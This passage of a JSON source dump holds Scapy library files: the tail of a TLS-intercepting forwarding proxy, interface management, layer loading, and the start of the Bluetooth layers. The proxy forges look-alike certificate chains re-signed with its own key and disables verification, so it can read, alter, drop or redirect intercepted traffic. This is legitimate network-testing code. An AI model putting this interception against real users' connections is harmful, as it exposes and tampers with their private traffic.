\"\"\"\n        raise self.FORWARD()\n\n    def xfrmsc(self, pkt, ctx):\n        \"\"\"\n        DEV: overwrite me to handle server->client\n        \"\"\"\n        raise self.FORWARD()\n\n    # Command Exceptions\n\n    class DROP(Exception):\n        # Drop this packet.\n        pass\n\n    class FORWARD(Exception):\n        # Forward this packet.\n        pass\n\n    class FORWARD_REPLACE(Exception):\n        # Replace the content and forward.\n        def __init__(self, data):\n            self.data = data\n\n    class ANSWER(Exception):\n        # Answer directly\n        def __init__(self, data):\n            self.data = data\n\n    class REDIRECT_TO(Exception):\n        # Redirect this socket to another destination\n        def __init__(self, host, port, then=None, server_hostname=None):\n            self.dest = (host, port)\n            self.server_hostname = server_hostname\n            self.then = then or ForwardMachine.FORWARD()\n\n    class CONTEXT:\n        \"\"\"\n        CONTEXT object kept during a session\n        \"\"\"\n\n        def __init__(self, addr, dest):\n            self.addr = addr\n            self.dest = dest\n            self.tls_sni_name = None  # Retrieved when receiving a connection\n\n    def print_reply(self, evt, cs, req, rep):\n        if evt == self.FORWARD:\n            if cs:\n                print(\"C ==> S: %s\" % req.summary())\n            else:\n                print(\"S ==> C: %s\" % req.summary())\n        elif evt == self.FORWARD_REPLACE:\n            if cs:\n                print(\"C /=> S: %s -> %s\" % (req.summary(), rep.summary()))\n            else:\n                print(\"S /=> C: %s -> %s\" % (req.summary(), rep.summary()))\n        elif evt == self.DROP:\n            if cs:\n                print(\"C => 0: %s\" % req.summary())\n            else:\n                print(\"S => 0: %s\" % req.summary())\n        elif evt == self.ANSWER:\n            if cs:\n                print(\"C <=| : %s -> %s\" % (req.summary(), rep.summary()))\n            else:\n                print(\"S <=| : %s -> %s\" % (req.summary(), rep.summary()))\n\n    def destalias(self, dest):\n        \"\"\"\n        Alias a destination to another destination.\n        A destination is the tuple (host, port)\n        \"\"\"\n        return dest\n\n    def _getpeersock(self, dest, server_hostname=None):\n        \"\"\"\n        Get peer socket\n        \"\"\"\n        s = socket.socket(self.remote_af, self.proto)\n        s.settimeout(self.timeout)\n        ndest = self.destalias(dest)\n        if ndest != dest:\n            print(\"C: %s redirected to %s\" % (repr(dest), repr(ndest)))\n        dest = ndest\n        s.connect(dest)\n        return s\n\n    def gen_alike_chain(self, certs, privkey):\n        \"\"\"\n        Modify a real certificate chain to be served by our own privatekey\n        \"\"\"\n        c, certs = certs[0], certs[1:]\n        if certs:\n            # Recursive: if there are certificates above this one in the chain, do them\n            # first.\n            certs = self.gen_alike_chain(certs, privkey)\n        else:\n            # Last certificate of the chain. Make it self-signed\n            c.tbsCertificate.issuer = c.tbsCertificate.subject\n        # Set SubjectPublicKeyInfo to the one from our private key\n        c.setSubjectPublicKeyFromPrivateKey(privkey)\n        # Filter out extensions that would cause trouble\n        c.tbsCertificate.serialNumber.val = int(\n            RandInt()\n        )  # otherwise SEC_ERROR_REUSED_ISSUER_AND_SERIAL\n        c.tbsCertificate.extensions = [\n            x\n            for x in c.tbsCertificate.extensions\n            if x.extnID\n            not in [\n                \"2.5.29.32\",  # CPS\n                \"2.5.29.31\",  # cRLDistributionPoints\n                \"1.3.6.1.5.5.7.1.1\",  # authorityInfoAccess\n                \"1.3.6.1.4.1.11129.2.4.2\",  # SCT\n                \"2.5.29.14\",  # subjectKeyIdentifier\n                \"2.5.29.35\",  # authorityKeyIdentifier\n            ]\n        ]\n        # For now, we only provide a RSA private key, so we can only sign with that :/\n        c.tbsCertificate.signature = X509_AlgorithmIdentifier(\n            algorithm=ASN1_OID(\"ecdsa-with-SHA384\"),\n        )\n        # Resign.\n        c = Cert(privkey.resignCert(c))\n        # Return\n        return [c] + certs\n\n    def get_key_and_alike_chain(self, cas, dest, server_name):\n        \"\"\"\n        Generate a PrivateKey and a clone of the 'cas' certificate chain signed with it,\n        if not already cached.\n\n        The cache uses server_name or dest as key.\n        \"\"\"\n        ident = server_name or dest\n        if ident in self.cache:\n            return self.cache[ident]\n        # Parse CAs\n        certs = [Cert(c.public_bytes()) for c in cas]\n        # certs = certs[:1]\n        # Generate Private Key\n        privkey = PrivKeyECDSA()\n        # Iterate\n        certs = self.gen_alike_chain(certs, privkey)\n        # Build a chain object. This checks that everything is properly signed, and\n        # re-order the certs.\n        # chain = Chain(certs, cert0=certs[-1])\n        self.cache[ident] = privkey, certs\n        return privkey, certs\n\n    def handler(self, sock, addr, dest):\n        \"\"\"\n        Handler of a client socket\n        \"\"\"\n        ctx = self.CONTEXT(addr, dest)  # we have a context object\n        # Initialize peer socket\n        ss = self._getpeersock(dest)\n        # Wrap both server and peer sockets in SSL\n        if self.tls:\n            # Build client SSL context\n            clisslcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)\n            clisslcontext.load_default_certs()\n            clisslcontext.check_hostname = False\n            clisslcontext.verify_mode = ssl.CERT_NONE\n\n            # This acts as follows:\n            # - start the server-side TLS handshake\n            # - use the SNI callback to pop a client-side socket (using the real\n            #   provided SNI)\n            # - serve the certificate\n\n            _clisock = [ss]\n\n            def cb_sni(sock, server_name, _):\n                \"\"\"\n                This callback occurs after the TLSClientHello is received by the server\n                \"\"\"\n                ss = _clisock[0]\n                ctx.tls_sni_name = server_name  # the requested SNI\n                # Use that SNI to wrap the client socket\n                ss = clisslcontext.wrap_socket(ss, server_hostname=server_name)\n                # Get certificate chain\n                cas = ss._sslobj.get_unverified_chain()\n                if self.crtfile is None:\n                    # SELF-SIGNED mode\n                    # Generate private key based on the type of certificate\n                    privkey, certs = self.get_key_and_alike_chain(\n                        cas, dest, server_name\n                    )\n                    # Load result certificate our SSL server\n                    # (this is dumb but we need to store them on disk)\n                    certfile = get_temp_file()\n                    with open(certfile, \"w\") as fd:\n                        for c in certs:\n                            fd.write(c.pem)\n                    keyfile = get_temp_file()\n                    with open(keyfile, \"wb\") as fd:\n                        password = os.urandom(32)\n                        fd.write(\n                            privkey.key.private_bytes(\n                                encoding=serialization.Encoding.PEM,\n                                format=serialization.PrivateFormat.PKCS8,\n                                encryption_algorithm=serialization.BestAvailableEncryption(  # noqa: E501\n                                    password\n                                ),\n                            )\n                        )\n                else:\n                    # Certificate is provided\n                    certfile = self.crtfile\n                    keyfile = self.keyfile\n                sslcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)\n                sslcontext.check_hostname = False\n                sslcontext.verify_mode = ssl.CERT_NONE  # note: server side\n                sslcontext.load_cert_chain(certfile, keyfile, password=password)\n                sock.context = sslcontext\n                # Return success\n                _clisock[0] = ss\n                return None  # Continue\n\n            # Server SSL context\n            sslcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)\n            sslcontext.sni_callback = cb_sni\n            try:\n                sock = sslcontext.wrap_socket(sock, server_side=True)\n            except Exception as ex:\n                print(self.ct.red(\"%s errored in SSL: %s\" % (repr(addr), str(ex))))\n                sock.close()\n                return\n            ss = _clisock[0]\n        # Wrap the sockets\n        sock = self.sockcls(sock, self.cls)\n        ss = self.sockcls(ss, self.cls)\n        sock.streamsession = ss.streamsession\n        try:\n            while True:\n                # Listen on both ends of the connection\n                for thissock in select.select([ss, sock], [], [], 0)[0]:\n                    if thissock is ss:\n                        cs = 0\n                        func = self.xfrmsc\n                        othersock = sock\n                    else:\n                        cs = 1\n                        func = self.xfrmcs\n                        othersock = ss\n                    # get data\n                    try:\n                        data = thissock.recv(self.MTU)\n                    except EOFError:\n                        raise RuntimeError\n                    if not data:\n                        # Session needs more data\n                        continue\n                    try:\n                        # And pipe everything into the processdata\n                        try:\n                            func(data, ctx)\n                            # If this doesn't raise, it's a user error.\n                            print(\n                                self.ct.red(\n                                    \"%s ERROR: you must always raise in %s !\" % func\n                                )\n                            )\n                            return\n                        except self.REDIRECT_TO as ex:\n                            # Replace the peer socket with a new socket\n                            oldss = ss\n                            ss = self._getpeersock(\n                                ex.dest, server_hostname=ex.server_hostname\n                            )\n                            ss = self.sockcls(ss, self.cls)\n                            print(\n                                \"C: %s redirected to %s\"\n                                % (repr(ctx.dest), repr(ex.dest))\n                            )\n                            ctx.dest = ex.dest  # update context\n                            # Shut the old one.\n                            oldss.ins.shutdown(socket.SHUT_RDWR)\n                            oldss.close()\n                            # Replace othersock/thissock\n                            if oldss is thissock:\n                                thissock = ss\n                            else:\n                                othersock = ss\n                            # Raise what's next.\n                            raise ex.then\n                    except self.FORWARD:\n                        # Forward the data to the other host\n                        othersock.send(data)\n                        self.print_reply(self.FORWARD, cs, data, None)\n                    except self.FORWARD_REPLACE as ex:\n                        # Forward custom data to the other host\n                        othersock.send(ex.data)\n                        self.print_reply(self.FORWARD_REPLACE, cs, data, ex.data)\n                    except self.DROP:\n                        # Drop\n                        self.print_reply(self.DROP, cs, data, None)\n                    except self.ANSWER as ex:\n                        # Respond with custom data\n                        thissock.send(ex.data)\n                        self.print_reply(self.ANSWER, cs, data, ex.data)\n                    except Exception as ex:\n                        # Processing failed. forward to not break anything\n                        print(\n                            self.ct.orange(\n                                \"Exception happened in handling client %s ! (forward)\"\n                                % repr(addr)\n                            )\n                        )\n                        traceback.print_exception(ex)\n                        othersock.send(data)\n                        self.print_reply(self.FORWARD, cs, data, None)\n        except RuntimeError:\n            print(self.ct.red(\"%s DISCONNECTED !\" % repr(addr)))\n            sock.close()\n            ss.close()\n"
  },
  {
    "path": "scapy/interfaces.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>\n\n\"\"\"\nInterfaces management\n\"\"\"\n\nimport itertools\nimport uuid\nfrom collections import defaultdict\n\nfrom scapy.config import conf\nfrom scapy.consts import WINDOWS, LINUX\nfrom scapy.utils import pretty_list\nfrom scapy.utils6 import in6_isvalid\n\n# Typing imports\nimport scapy\nfrom scapy.compat import UserDict\nfrom typing import (\n    cast,\n    Any,\n    DefaultDict,\n    Dict,\n    List,\n    NoReturn,\n    Optional,\n    Tuple,\n    Type,\n    Union,\n)\n\n\nclass InterfaceProvider(object):\n    name = \"Unknown\"\n    headers: Tuple[str, ...] = (\"Index\", \"Name\", \"MAC\", \"IPv4\", \"IPv6\")\n    header_sort = 1\n    libpcap = False\n\n    def load(self):\n        # type: () -> Dict[str, NetworkInterface]\n        \"\"\"Returns a dictionary of the loaded interfaces, by their\n        name.\"\"\"\n        raise NotImplementedError\n\n    def reload(self):\n        # type: () -> Dict[str, NetworkInterface]\n        \"\"\"Same than load() but for reloads. By default calls load\"\"\"\n        return self.load()\n\n    def _l2socket(self, dev):\n        # type: (NetworkInterface) -> Type[scapy.supersocket.SuperSocket]\n        \"\"\"Return L2 socket used by interfaces of this provider\"\"\"\n        return conf.L2socket\n\n    def _l2listen(self, dev):\n        # type: (NetworkInterface) -> Type[scapy.supersocket.SuperSocket]\n        \"\"\"Return L2listen socket used by interfaces of this provider\"\"\"\n        return conf.L2listen\n\n    def _l3socket(self, dev, ipv6):\n        # type: (NetworkInterface, bool) -> Type[scapy.supersocket.SuperSocket]\n        \"\"\"Return L3 socket used by interfaces of this provider\"\"\"\n        if LINUX and not self.libpcap and dev.name == conf.loopback_name:\n            # handle the loopback case. see troubleshooting.rst\n            if ipv6:\n                from scapy.supersocket import L3RawSocket6\n                return cast(Type['scapy.supersocket.SuperSocket'], L3RawSocket6)\n            else:\n                from scapy.supersocket import L3RawSocket\n                return L3RawSocket\n        return conf.L3socket\n\n    def _is_valid(self, dev):\n        # type: (NetworkInterface) -> bool\n        \"\"\"Returns whether an interface is valid or not\"\"\"\n        return bool((dev.ips[4] or dev.ips[6]) and dev.mac)\n\n    def _format(self,\n                dev,  # type: NetworkInterface\n                **kwargs  # type: Any\n                ):\n        # type: (...) -> Tuple[Union[str, List[str]], ...]\n        \"\"\"Returns the elements used by show()\n\n        If a tuple is returned, this consist of the strings that will be\n        inlined along with the interface.\n        If a list of tuples is returned, they will be appended one above the\n        other and should all be part of a single interface.\n        \"\"\"\n        mac = dev.mac\n        resolve_mac = kwargs.get(\"resolve_mac\", True)\n        if resolve_mac and conf.manufdb and mac:\n            mac = conf.manufdb._resolve_MAC(mac)\n        index = str(dev.index)\n        return (index, dev.description, mac or \"\", dev.ips[4], dev.ips[6])\n\n    def __repr__(self) -> str:\n        \"\"\"\n        repr\n        \"\"\"\n        return \"<InterfaceProvider: %s>\" % self.name\n\n\nclass NetworkInterface(object):\n    def __init__(self,\n                 provider,  # type: InterfaceProvider\n                 data=None,  # type: Optional[Dict[str, Any]]\n                 ):\n        # type: (...) -> None\n        self.provider = provider\n        self.name = \"\"\n        self.description = \"\"\n        self.network_name = \"\"\n        self.index = -1\n        self.ip = None  # type: Optional[str]\n        self.ips = defaultdict(list)  # type: DefaultDict[int, List[str]]\n        self.type = -1\n        self.mac = None  # type: Optional[str]\n        self.dummy = False\n        if data is not None:\n            self.update(data)\n\n    def update(self, data):\n        # type: (Dict[str, Any]) -> None\n        \"\"\"Update info about a network interface according\n        to a given dictionary. Such data is provided by providers\n        \"\"\"\n        self.name = data.get('name', \"\")\n        self.description = data.get('description', \"\")\n        self.network_name = data.get('network_name', \"\")\n        self.index = data.get('index', 0)\n        self.ip = data.get('ip', \"\")\n        self.type = data.get('type', -1)\n        self.mac = data.get('mac', \"\")\n        self.flags = data.get('flags', 0)\n        self.dummy = data.get('dummy', False)\n\n        for ip in data.get('ips', []):\n            if in6_isvalid(ip):\n                self.ips[6].append(ip)\n            else:\n                self.ips[4].append(ip)\n\n        # An interface often has multiple IPv6 so we don't store\n        # a \"main\" one, unlike IPv4.\n        if self.ips[4] and not self.ip:\n            self.ip = self.ips[4][0]\n\n    def __eq__(self, other):\n        # type: (Any) -> bool\n        if isinstance(other, str):\n            return other in [self.name, self.network_name, self.description]\n        if isinstance(other, NetworkInterface):\n            return self.__dict__ == other.__dict__\n        return False\n\n    def __ne__(self, other):\n        # type: (Any) -> bool\n        return not self.__eq__(other)\n\n    def __hash__(self):\n        # type: () -> int\n        return hash(self.network_name)\n\n    def is_valid(self):\n        # type: () -> bool\n        if self.dummy:\n            return False\n        return self.provider._is_valid(self)\n\n    def l2socket(self):\n        # type: () -> Type[scapy.supersocket.SuperSocket]\n        return self.provider._l2socket(self)\n\n    def l2listen(self):\n        # type: () -> Type[scapy.supersocket.SuperSocket]\n        return self.provider._l2listen(self)\n\n    def l3socket(self, ipv6=False):\n        # type: (bool) -> Type[scapy.supersocket.SuperSocket]\n        return self.provider._l3socket(self, ipv6)\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<%s %s [%s]>\" % (self.__class__.__name__,\n                                 self.description,\n                                 self.dummy and \"dummy\" or (self.flags or \"\"))\n\n    def __str__(self):\n        # type: () -> str\n        return self.network_name\n\n    def __add__(self, other):\n        # type: (str) -> str\n        return self.network_name + other\n\n    def __radd__(self, other):\n        # type: (str) -> str\n        return other + self.network_name\n\n\n_GlobInterfaceType = Union[NetworkInterface, str]\n\n\nclass NetworkInterfaceDict(UserDict[str, NetworkInterface]):\n    \"\"\"Store information about network interfaces and convert between names\"\"\"\n\n    def __init__(self):\n        # type: () -> None\n        self.providers = {}  # type: Dict[Type[InterfaceProvider], InterfaceProvider]  # noqa: E501\n        super(NetworkInterfaceDict, self).__init__()\n\n    def _load(self,\n              dat,  # type: Dict[str, NetworkInterface]\n              prov,  # type: InterfaceProvider\n              ):\n        # type: (...) -> None\n        for ifname, iface in dat.items():\n            if ifname in self.data:\n                # Handle priorities: keep except if libpcap\n                if prov.libpcap:\n                    self.data[ifname] = iface\n            else:\n                self.data[ifname] = iface\n\n    def register_provider(self, provider):\n        # type: (type) -> None\n        prov = provider()\n        self.providers[provider] = prov\n        if self.data:\n            # late registration\n            self._load(prov.reload(), prov)\n\n    def load_confiface(self):\n        # type: () -> None\n        \"\"\"\n        Reload conf.iface\n        \"\"\"\n        # Can only be called after conf.route is populated\n        if not conf.route:\n            raise ValueError(\"Error: conf.route isn't populated !\")\n        conf.iface = get_working_if()  # type: ignore\n\n    def _reload_provs(self):\n        # type: () -> None\n        self.clear()\n        for prov in self.providers.values():\n            self._load(prov.reload(), prov)\n\n    def reload(self):\n        # type: () -> None\n        self._reload_provs()\n        if not conf.route:\n            # routes are not loaded yet.\n            return\n        self.load_confiface()\n\n    def dev_from_name(self, name):\n        # type: (str) -> NetworkInterface\n        \"\"\"Return the first network device name for a given\n        device name.\n        \"\"\"\n        try:\n            return next(iface for iface in self.values()\n                        if (iface.name == name or iface.description == name))\n        except (StopIteration, RuntimeError):\n            raise ValueError(\"Unknown network interface %r\" % name)\n\n    def dev_from_networkname(self, network_name):\n        # type: (str) -> NoReturn\n        \"\"\"Return interface for a given network device name.\"\"\"\n        try:\n            return next(iface for iface in self.values()  # type: ignore\n                        if iface.network_name == network_name)\n        except (StopIteration, RuntimeError):\n            raise ValueError(\n                \"Unknown network interface %r\" %\n                network_name)\n\n    def dev_from_index(self, if_index):\n        # type: (int) -> NetworkInterface\n        \"\"\"Return interface name from interface index\"\"\"\n        try:\n            if_index = int(if_index)  # Backward compatibility\n            return next(iface for iface in self.values()\n                        if iface.index == if_index)\n        except (StopIteration, RuntimeError):\n            if str(if_index) == \"1\":\n                # Test if the loopback interface is set up\n                return self.dev_from_networkname(conf.loopback_name)\n            raise ValueError(\"Unknown network interface index %r\" % if_index)\n\n    def _add_fake_iface(self,\n                        ifname,\n                        mac=\"00:00:00:00:00:00\",\n                        ips=[\"127.0.0.1\", \"::\"]):\n        # type: (str, str, List[str]) -> None\n        \"\"\"Internal function used for a testing purpose\"\"\"\n        data = {\n            'name': ifname,\n            'description': ifname,\n            'network_name': ifname,\n            'index': -1000,\n            'dummy': True,\n            'mac': mac,\n            'flags': 0,\n            'ips': ips,\n            # Windows only\n            'guid': \"{%s}\" % uuid.uuid1(),\n            'ipv4_metric': 0,\n            'ipv6_metric': 0,\n            'nameservers': [],\n        }\n        if WINDOWS:\n            from scapy.arch.windows import NetworkInterface_Win, \\\n                WindowsInterfacesProvider\n\n            class FakeProv(WindowsInterfacesProvider):\n                name = \"fake\"\n\n            self.data[ifname] = NetworkInterface_Win(\n                FakeProv(),\n                data\n            )\n        else:\n            self.data[ifname] = NetworkInterface(InterfaceProvider(), data)\n\n    def show(self, print_result=True, hidden=False, **kwargs):\n        # type: (bool, bool, **Any) -> Optional[str]\n        \"\"\"\n        Print list of available network interfaces in human readable form\n\n        :param print_result: print the results if True, else return it\n        :param hidden: if True, also displays invalid interfaces\n        \"\"\"\n        res = defaultdict(list)\n        for iface_name in sorted(self.data):\n            dev = self.data[iface_name]\n            if not hidden and not dev.is_valid():\n                continue\n            prov = dev.provider\n            res[(prov.headers, prov.header_sort)].append(\n                (prov.name,) + prov._format(dev, **kwargs)\n            )\n        output = \"\"\n        for key in res:\n            hdrs, sortBy = key\n            output += pretty_list(\n                res[key],\n                [(\"Source\",) + hdrs],\n                sortBy=sortBy\n            ) + \"\\n\"\n        output = output[:-1]\n        if print_result:\n            print(output)\n            return None\n        else:\n            return output\n\n    def __repr__(self):\n        # type: () -> str\n        return self.show(print_result=False)  # type: ignore\n\n\nconf.ifaces = IFACES = ifaces = NetworkInterfaceDict()\n\n\ndef get_if_list():\n    # type: () -> List[str]\n    \"\"\"Return a list of interface names\"\"\"\n    return list(conf.ifaces.keys())\n\n\ndef get_working_if():\n    # type: () -> Optional[NetworkInterface]\n    \"\"\"Return an interface that works\"\"\"\n    # return the interface associated with the route with smallest\n    # mask (route by default if it exists)\n    routes = conf.route.routes[:]\n    routes.sort(key=lambda x: x[1])\n    ifaces = (x[3] for x in routes)\n    # First check the routing ifaces from best to worse,\n    # then check all the available ifaces as backup.\n    for ifname in itertools.chain(ifaces, conf.ifaces.values()):\n        try:\n            iface = conf.ifaces.dev_from_networkname(ifname)  # type: ignore\n            if iface.is_valid():\n                return iface\n        except ValueError:\n            pass\n    # There is no hope left\n    try:\n        return conf.ifaces.dev_from_networkname(conf.loopback_name)\n    except ValueError:\n        return None\n\n\ndef get_working_ifaces():\n    # type: () -> List[NetworkInterface]\n    \"\"\"Return all interfaces that work\"\"\"\n    return [iface for iface in conf.ifaces.values() if iface.is_valid()]\n\n\ndef dev_from_networkname(network_name):\n    # type: (str) -> NetworkInterface\n    \"\"\"Return Scapy device name for given network device name\"\"\"\n    return conf.ifaces.dev_from_networkname(network_name)\n\n\ndef dev_from_index(if_index):\n    # type: (int) -> NetworkInterface\n    \"\"\"Return interface for a given interface index\"\"\"\n    return conf.ifaces.dev_from_index(if_index)\n\n\ndef resolve_iface(dev, retry=True):\n    # type: (_GlobInterfaceType, bool) -> NetworkInterface\n    \"\"\"\n    Resolve an interface name into the interface\n    \"\"\"\n    if isinstance(dev, NetworkInterface):\n        return dev\n    try:\n        return conf.ifaces.dev_from_name(dev)\n    except ValueError:\n        try:\n            return conf.ifaces.dev_from_networkname(dev)\n        except ValueError:\n            pass\n    if not retry:\n        raise ValueError(\"Interface '%s' not found !\" % dev)\n    # Nothing found yet. Reload to detect if it was added recently\n    conf.ifaces.reload()\n    return resolve_iface(dev, retry=False)\n\n\ndef network_name(dev):\n    # type: (_GlobInterfaceType) -> str\n    \"\"\"\n    Resolves the device network name of a device or Scapy NetworkInterface\n    \"\"\"\n    return resolve_iface(dev).network_name\n\n\ndef show_interfaces(resolve_mac=True):\n    # type: (bool) -> None\n    \"\"\"Print list of available network interfaces\"\"\"\n    return conf.ifaces.show(resolve_mac)  # type: ignore\n"
  },
  {
    "path": "scapy/layers/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nLayer package.\n\"\"\"\n\n# Make sure config is loaded\nimport scapy.config  # noqa: F401\n"
  },
  {
    "path": "scapy/layers/all.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nAll layers. Configurable with conf.load_layers.\n\"\"\"\n\n\nimport builtins\nimport logging\n\n# We import conf from arch to make sure arch specific layers are populated\nfrom scapy.arch import conf\nfrom scapy.error import log_loading\nfrom scapy.main import load_layer\n\nignored = list(builtins.__dict__) + [\"sys\"]\nlog = logging.getLogger(\"scapy.loading\")\n\n__all__ = []\n\nfor _l in conf.load_layers:\n    log_loading.debug(\"Loading layer %s\", _l)\n    try:\n        load_layer(_l, globals_dict=globals(), symb_list=__all__)\n    except Exception as e:\n        log.warning(\"can't import layer %s: %s\", _l, e)\n\ntry:\n    del _l\nexcept NameError:\n    pass\n"
  },
  {
    "path": "scapy/layers/bluetooth.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Copyright (C) Mike Ryan <mikeryan@lacklustre.net>\n# Copyright (C) Michael Farrell <micolous+git@gmail.com>\n# Copyright (C) Haram Park <freehr94@korea.ac.kr>\n\n\"\"\"\nBluetooth layers, sockets and send/receive functions.\n\"\"\"\n\nimport ctypes\nimport functools\nimport socket\nimport struct\nimport select\nfrom ctypes import sizeof\n\nfrom scapy.config import conf\nfrom scapy.data import (\n    DLT_BLUETOOTH_HCI_H4,\n    DLT_BLUETOOTH_HCI_H4_WITH_PHDR,\n    DLT_BLUETOOTH_LINUX_MONITOR,\n    BLUETOOTH_CORE_COMPANY_IDENTIFIERS\n)\nfrom scapy.packet import bind_layers, Packet\nfrom scapy.fields import (\n    BitField,\n    XBitField,\n    ByteEnumField,\n    ByteField,\n    FieldLenField,\n    FieldListField,\n    FlagsField,\n    IntField,\n    LEShortEnumField,\n    LEShortField,\n    LEIntField,\n    LenField,\n    MultipleTypeField,\n    NBytesField,\n    PacketListField,\n    PadField,\n    ShortField,\n    SignedByteField,\n    StrField,\n    StrFixedLenField,\n    StrLenField,\n    StrNullField,\n    UUIDField,\n    XByteField,\n    XLE3BytesField,\n    XLELongField,\n    XStrLenField,\n    XLEShortField,\n    XLEIntField,\n    LEMACField,\n    BitEnumField,\n    LEThreeBytesField,\n)\nfrom scapy.supersocket import SuperSocket\nfrom scapy.sendrecv import sndrcv\nfrom scapy.data import MTU\nfrom scapy.consts import WINDOWS\nfrom scapy.error import warning\n\n\n############\n#  Consts  #\n############\n\n# From hci.h\nHCI_CHANNEL_RAW = 0\nHCI_CHANNEL_USER = 1\nHCI_CHANNEL_MONITOR = 2\nHCI_CHANNEL_CONTROL = 3\nHCI_CHANNEL_LOGGING = 4\n\nHCI_DEV_NONE = 0xffff\n\n\n##########\n# Layers #\n##########\n\n# See bluez/lib/hci.h for details\n\n# Transport layers\n\nclass HCI_PHDR_Hdr(Packet):\n    name = \"HCI PHDR transport layer\"\n    fields_desc = [IntField(\"direction\", 0)]\n\n\n# Real layers\n\n_bluetooth_packet_types = {\n    0: \"Acknowledgement\",\n    1: \"Command\",\n    2: \"ACL Data\",\n    3: \"Synchronous\",\n    4: \"Event\",\n    5: \"Reserve\",\n    14: \"Vendor\",\n    15: \"Link Control\"\n}\n\n_bluetooth_error_codes = {\n    0x00: \"Success\",\n    0x01: \"Unknown HCI Command\",\n    0x02: \"Unknown Connection Identifier\",\n    0x03: \"Hardware Failure\",\n    0x04: \"Page Timeout\",\n    0x05: \"Authentication Failure\",\n    0x06: \"PIN or Key Missing\",\n    0x07: \"Memory Capacity Exceeded\",\n    0x08: \"Connection Timeout\",\n    0x09: \"Connection Limit Exceeded\",\n    0x0A: \"Synchronous Connection Limit To A Device Exceeded\",\n    0x0B: \"Connection Already Exists\",\n    0x0C: \"Command Disallowed\",\n    0x0D: \"Connection Rejected due to Limited Resources\",\n    0x0E: \"Connection Rejected Due To Security Reasons\",\n    0x0F: \"Connection Rejected due to Unacceptable BD_ADDR\",\n    0x10: \"Connection Accept Timeout Exceeded\",\n    0x11: \"Unsupported Feature or Parameter Value\",\n    0x12: \"Invalid HCI Command Parameters\",\n    0x13: \"Remote User Terminated Connection\",\n    0x14: \"Remote Device Terminated Connection due to Low Resources\",\n    0x15: \"Remote Device Terminated Connection due to Power Off\",\n    0x16: \"Connection Terminated By Local Host\",\n    0x17: \"Repeated Attempts\",\n    0x18: \"Pairing Not Allowed\",\n    0x19: \"Unknown LMP PDU\",\n    0x1A: \"Unsupported Remote Feature / Unsupported LMP Feature\",\n    0x1B: \"SCO Offset Rejected\",\n    0x1C: \"SCO Interval Rejected\",\n    0x1D: \"SCO Air Mode Rejected\",\n    0x1E: \"Invalid LMP Parameters / Invalid LL Parameters\",\n    0x1F: \"Unspecified Error\",\n    0x20: \"Unsupported LMP Parameter Value / Unsupported LL Parameter Value\",\n    0x21: \"Role Change Not Allowed\",\n    0x22: \"LMP Response Timeout / LL Response Timeout\",\n    0x23: \"LMP Error Transaction Collision / LL Procedure Collision\",\n    0x24: \"LMP PDU Not Allowed\",\n    0x25: \"Encryption Mode Not Acceptable\",\n    0x26: \"Link Key cannot be Changed\",\n    0x27: \"Requested QoS Not Supported\",\n    0x28: \"Instant Passed\",\n    0x29: \"Pairing With Unit Key Not Supported\",\n    0x2A: \"Different Transaction Collision\",\n    0x2B: \"Reserved for future use\",\n    0x2C: \"QoS Unacceptable Parameter\",\n    0x2D: \"QoS Rejected\",\n    0x2E: \"Channel Classification Not Supported\",\n    0x2F: \"Insufficient Security\",\n    0x30: \"Parameter Out Of Mandatory Range\",\n    0x31: \"Reserved for future use\",\n    0x32: \"Role Switch Pending\",\n    0x33: \"Reserved for future use\",\n    0x34: \"Reserved Slot Violation\",\n    0x35: \"Role Switch Failed\",\n    0x36: \"Extended Inquiry Response Too Large\",\n    0x37: \"Secure Simple Pairing Not Supported By Host\",\n    0x38: \"Host Busy - Pairing\",\n    0x39: \"Connection Rejected due to No Suitable Channel Found\",\n    0x3A: \"Controller Busy\",\n    0x3B: \"Unacceptable Connection Parameters\",\n    0x3C: \"Advertising Timeout\",\n    0x3D: \"Connection Terminated due to MIC Failure\",\n    0x3E: \"Connection Failed to be Established / Synchronization Timeout\",\n    0x3F: \"MAC Connection Failed\",\n    0x40: \"Coarse Clock Adjustment Rejected but Will Try to Adjust Using Clock\"\n          \" Dragging\",\n    0x41: \"Type0 Submap Not Defined\",\n    0x42: \"Unknown Advertising Identifier\",\n    0x43: \"Limit Reached\",\n    0x44: \"Operation Cancelled by Host\",\n    0x45: \"Packet Too Long\"\n}\n\n_att_error_codes = {\n    0x01: \"invalid handle\",\n    0x02: \"read not permitted\",\n    0x03: \"write not permitted\",\n    0x04: \"invalid pdu\",\n    0x05: \"insufficient auth\",\n    0x06: \"unsupported req\",\n    0x07: \"invalid offset\",\n    0x08: \"insufficient author\",\n    0x09: \"prepare queue full\",\n    0x0a: \"attr not found\",\n    0x0b: \"attr not long\",\n    0x0c: \"insufficient key size\",\n    0x0d: \"invalid value size\",\n    0x0e: \"unlikely\",\n    0x0f: \"insufficiet encrypt\",\n    0x10: \"unsupported gpr type\",\n    0x11: \"insufficient resources\",\n}\n\n_bluetooth_features = [\n    '3_slot_packets',\n    '5_slot_packets',\n    'encryption',\n    'slot_offset',\n    'timing_accuracy',\n    'role_switch',\n    'hold_mode',\n    'sniff_mode',\n    'park_mode',\n    'power_control_requests',\n    'channel_quality_driven_data_rate',\n    'sco_link',\n    'hv2_packets',\n    'hv3_packets',\n    'u_law_log_synchronous_data',\n    'a_law_log_synchronous_data',\n    'cvsd_synchronous_data',\n    'paging_parameter_negotiation',\n    'power_control',\n    'transparent_synchronous_data',\n    'flow_control_lag_4_bit0',\n    'flow_control_lag_4_bit1',\n    'flow_control_lag_4_bit2',\n    'broadband_encryption',\n    'cvsd_synchronous_data',\n    'edr_acl_2_mbps_mode',\n    'edr_acl_3_mbps_mode',\n    'enhanced_inquiry_scan',\n    